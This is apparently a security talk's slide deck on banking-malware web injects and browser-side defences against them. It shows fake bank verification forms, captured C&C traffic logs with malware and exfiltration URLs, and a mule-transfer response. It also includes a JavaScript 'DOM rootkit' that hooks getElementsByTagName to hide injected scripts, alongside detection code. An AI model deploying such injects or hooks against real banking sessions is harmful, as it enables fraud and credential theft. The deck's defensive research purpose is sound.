

Winning the Online Banking War

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Overview

- Examples of Web Injects
- Basic Concept
- Attack and Defenses
 - DOM Stealth
 - Replay Attack
 - MIPS Forgery
 - DOM Rootkit
 - MIPS Blocking
 - ZKP
 - Live Demo for Each Attack

Web Injects

Sign In – Phone Banking Code

At the moment, is the process of gathering unique data on your system to create a unique digital signature (UDS). In the future the system will identify your computer by UDS. Please enter the following information:

code

Your telephone banking access

Your date of birth


 / /

Clear

Submit

Sign In – Token

- Got a token for your corporate account? Do you still feel safe?



Verify Your Identity

Your submission could not be processed because the token has expired. Please try with another one.

Token:

The image shows a web form titled "Verify Your Identity" with a grey header. Below the header, a message states: "Your submission could not be processed because the token has expired. Please try with another one." Underneath this message is a label "Token:" followed by an empty text input field. The form has an orange border and a white background.

Sign In – Token

- Now you are locked out while they buy enough time to transfer money

Verify Your Identity

XXXXXXXXXXXXXXXXXXXX is temporarily unavailable. This is due to Scheduled Maintenance to enhance your online service. The XXXXXXXXXXXXXXXX apologises for any inconvenience that this may cause. System will be available within 4 hours.

Sign In - MITM

- There is no such a thing as 'Please Wait' in the online banking page.



The image shows a sign-in form with two input fields: 'Customer No.' and 'Password'. The 'Customer No.' field contains a masked number ending in '17'. The 'Password' field is masked with dots. Below the fields is a large orange rectangular area. To the right of this area is a button labeled 'Please Wait ...' with a loading icon, which is highlighted by a red rectangular border.

Customer No.

Password

 Please Wait ...

Sign In - MITM

- What's happening while you are waiting...

```
ofsrgnqqapfpvlxz.org /news/
olutions.es /fotos/dbs_res.exe
online. /
ofsrgnqqapfpvlxz.org /news/
pass.com /script.js?i=1
www.google.com /webhp
pass.com /script.js?r=0.9535408292260581&1=75&2=WJ7&url=https%3A%2F%2
pass.com /script.js?r=0.20854243438889675&aid=784
pass.com /script.js?r=0.30924708325910066&aid=784
pass.com /script.js?r=0.4451089154071417&aid=784
pass.com /script.js?r=0.9629884590830888&aid=784
pass.com /script.js?r=0.5519197805007762&aid=784
pass.com /script.js?r=0.425544130092404&aid=784
pass.com /script.js?r=0.2673889011694235&aid=784
pass.com /script.js?r=0.012008610301909084&aid=784
```

```
pass.com /script.js?r=0.012008610301909084&aid=784
pass.com /script.js?r=0.012008610301909084&aid=784
pass.com /script.js?r=0.012008610301909084&aid=784
pass.com /script.js?r=0.012008610301909084&aid=784
```


Transaction Injection - SMS

You have 1 incomplete transaction between your accounts.

Amount: \$3,500.01

Bank Operator: Service Advisor

If you would like to cancel this payment or consider that it happened by mistake, please type in the secure code below.

Your Secure Code was sent to #### #9 977 via Voice Call

Secure Code

Transaction Manipulation

- Even when there is no visual sign of infection, it can happen silently.
- C&C communication during Tx pages

online.		translist.asp?acctref=0
	webanalytics.com	/public/wp_/global
online.		getdetails.asp?FunctionID=7
	webanalytics.com	/public/wp_/global
online.		getdetails.asp?FunctionID=11
	webanalytics.com	/public/wp_/json
	webanalytics.com	/public/wp_/global
	webanalytics.com	/public/wp_/details
	webanalytics.com	/public/wp/bt?bid=12&dt=%5B%7B%22n%22%3A%22Damian%2
online.		confirm.asp
	webanalytics.com	/public/wp_/global
	webanalytics.com	/public/wp_/confirmcorp
	webanalytics.com	/public/wp/hm

Transaction Manipulation

- What is the malware receiving? → Inject and Mule

```
HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Wed, 18 Apr 201
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.2.17
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Thu, 19 Nov 198
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Length: 120
```


```
drcvd(["b": "9", "a": "22", "n": "N e", "s": "4500.00", "ob": ")", "oa": "53", "on": "Dam"]])
```

Mule's Account
Information

Transfer
Amount


Basic Concept

DOM Injection




DOM Scan

: MIPS (**M**alware **I**nject **P**robe **S**ystem)



Attacks and Defenses

Attack: DOM Stealth




- Malware inject removes itself, but it still remains in the memory
- Exploit memory leak patterns
 - Dangling/circular references, closures


Defense: DOM Event Scan

- Identify entry points (unload, click, timer)
- Enumerate event handlers
 - element.onclick = handler*
Scan: `element.onclick`
 - element.addEventListener*
Scan: `getElementListeners(element, "click")`
 - \$(element).on("click", handler)*
Scan: `$.data(element, "events")`
 - \$(element).observe("click", handler)*
Scan: `element.getStorage().get('prototype_event_registry').get('click')`

Attack: Replay




Defense: Salting



- Original MIPS intel gets transformed differently each time using the random variable

Attack: Forging MIPS Intel



- Hook Salt() and modify hashes OR
- Block MIPS & call MIPS functions as necessary


Defense: Code Integrity Check

- Call stack context

```
var check = function(na, nb) {  
  var SecureCheck = function(na, nb) {  
    var callee = na ^ crc32(arguments.callee);  
    var caller = nb ^ crc32(arguments.callee.caller);  
    return callee ^ caller ^ DomCheck();  
  };  
  return SecureCheck(na, nb);  
};
```

```
var na = 32053221, nb = 4321053;  
result = check(na, nb);
```

Defense: Code Integrity Check




Defense: Randomisation

- Problem with integrity check
 - Malware Regexes, modifies and reconstruct MIPS
 - Malware simulates MIPS with bypass code
- Strategy
 - Polymorphism
 - Maintain a set of **algorithmically heterogeneous** MIPS code
 - Fragmented random MIPS scripts with different names


Defense: Control Flow Randomisation

MIPS BBLs



- Chain of Randomisations starting with basic blocks (BBLs) of MIPS code

Defense: Opaque Predicates



- Retrieve call context in deeply buried OP
- Insert part of main logic within OP

Attack: Rootkit

```
var original_func = document.getElementsByTagName;
document.getElementsByTagName = function () {
  r = original_func.apply(document, arguments);
  for(var i=0; i<r.length; i++) {
    var inject_signature = 'string_in_my_inject';
    if(r[i].text.search(inject_signature) != -1) {
      r[i].remove();
      console.log('Inject Rootkitted!');
      break;
    }
  }
}
return r;
};
```

Defense: Detecting Rootkits

- Deliberately trigger exception → Call stack

```
var hooked = Function.prototype.toString;
Function.prototype.toString = function() {
    hooked.apply(this, arguments);
} // DOM Rootkit
```

```
var TriggerException = function(){
    try {
        Function.prototype.toString.call('hooktest')
    }
    catch(err) {
        console.log(err.stack);
    }
}
TriggerException();
```

Defense: Detecting Rootkits

- Is the red line present in a clean session?

```
TypeError: Function.prototype.toString is not  
generic
```


```
  at String.toString (native)
```

```
  at String.Function.toString(/login?next=%2F:173:7)
```

```
  at TriggerException (/login?next=%2F:177:29)
```

```
  at https://mybank.org/login?next=%2F:183:1
```

Attack: Blocking MIPS



Defense: MISSING_MIPS Event


- MISSING-MIPS Event should be implemented on the online banking server side if MIPS is not the integral part of online banking logic
- Method
 - Ensure MIPS intel is not cached by the proxy in-between
 - Correlate web access log with MIPS log

Detecting Moving Targets

- Detect evolving injects
 - Effective on minor inject upgrade
- Methods
 - Locality sensitive hashing (i.e. TLSH)

ZKP: SRP (By Tom Wu, Stanford)

- Over-simplified Secure Remote Password



Use Cases

- MITM attack
 - No shared secrets get transmitted on the wire (password, OTP code)
- Passive sniffing
 - Force attackers to place injects (so we can detect it!)
- MIPS hardening
 - DOM function integrity data
 - MIPS integrity data
 - MIPS rootkit detection data
 - MIPS intelligence format

Conclusion

- Diversity of implementation is the key for survival
- Be creative and out-smart the cybercriminals!
- Perform application security check

Thank You

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